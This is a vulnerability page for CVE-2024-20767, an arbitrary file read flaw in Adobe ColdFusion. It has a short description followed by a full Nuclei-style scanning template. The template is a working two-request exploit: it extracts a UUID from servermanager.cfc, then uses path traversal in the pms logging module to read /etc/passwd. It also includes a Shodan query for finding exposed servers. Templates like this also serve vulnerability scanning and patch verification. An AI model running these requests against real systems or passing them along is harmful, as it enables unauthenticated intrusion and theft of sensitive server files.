CVE-2024-20767: Adobe ColdFusion - Arbitrary File Read

2025-08-01 Adobe ColdFusion PoC Public

Description

ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Access Control vulnerability that could lead to arbitrary file system read. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized access to sensitive files and perform arbitrary file system write. Exploitation of this issue does not require user interaction.

PoC

id: CVE-2024-20767

info:
  name: Adobe ColdFusion - Arbitrary File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Access Control vulnerability that could lead to arbitrary file system read. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized access to sensitive files and perform arbitrary file system write. Exploitation of this issue does not require user interaction.
  impact: |
    Unauthenticated attackers can read and write arbitrary files on the server, potentially leading to complete system compromise.
  remediation: |
    Update Adobe ColdFusion to version 2023.7, 2021.13 or later depending on your version.
  reference:
    - https://jeva.cc/2973.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-20767
    - https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html
    - https://github.com/Praison001/CVE-2024-20767-Adobe-ColdFusion
    - https://github.com/Hatcat123/my_stars
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2024-20767
    cwe-id: CWE-284
    epss-score: 0.98514
    epss-percentile: 0.99918
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.component:"Adobe ColdFusion"
    product: coldfusion
    vendor: adobe
  tags: cve,cve2024,adobe,coldfusion,lfr,kev,vkev,vuln

http:
  - raw:
      - |
        GET /hax/..CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /hax/../pms?module=logging&file_name=../../../../../../../../../../../../../../../../../../etc/passwd&number_of_lines=1000 HTTP/1.1
        Host: {{Hostname}}
        uuid: {{extracted_uuid}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'wddxPacket')"
          - "contains(header_2, 'application/json')"
          - "contains(body_2, '/bin/bash')"
        condition: and

    extractors:
      - type: regex
        part: body_1
        name: extracted_uuid
        group: 1
        regex:
          - "<var name='uuid'><string>(.*)</string>"
        internal: true
# digest: 490a00463044022019ae886caa1f089a6f4871e42e88f1ffdfd7ab62047b093f27ec3f1adef795b0022038c5138499e4b356e725074b7486f9c1567a4b99e91867ae1208e8d394230a42:922c64590222798bb761d5b6d8e72950

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